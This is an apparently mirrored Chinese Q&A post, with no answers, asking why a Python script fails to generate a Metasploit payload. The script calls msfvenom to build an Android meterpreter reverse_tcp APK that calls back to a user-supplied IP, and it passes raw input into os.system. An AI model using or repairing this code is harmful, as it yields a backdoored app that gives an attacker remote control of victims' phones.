在msfconsole中使用字符串时出现错误

时间:2019-06-09 19:40:59

标签: python-3.x metasploit

我正在使用python多功能工具,但Metasploit函数未按预期工作。它应该与SET类似。

lhost = input("Enter your IP: ")
            apkName = input("Enter what you want the file to be named: ")

            #WINDOWS METASPLOIT

            if platform.system() == 'Windows':
                try:
                    os.chdir('C:/metasploit-framework/bin')
                except FileNotFoundError:
                    print("You don't have Metasploit installed")

                print(os.system('dir'))
                os.system(
                    'msfvenom -p android/meterpreter/reverse_tcp lhost=' + lhost + 'LPORT=444' + ' R> C:/metasploit-framework/' + str(apkName) + '.apk')

一旦生成,它将输出正常的msfconsole有效负载信息。 而是输出以下内容:

  

[-]未选择平台,请选择Msf :: Module :: Platform :: Android   从有效载荷   [-]未选择拱门,从以下位置选择拱门:dalvik   有效负载错误:以下选项无法验证:LHOST。

0 个答案:

没有答案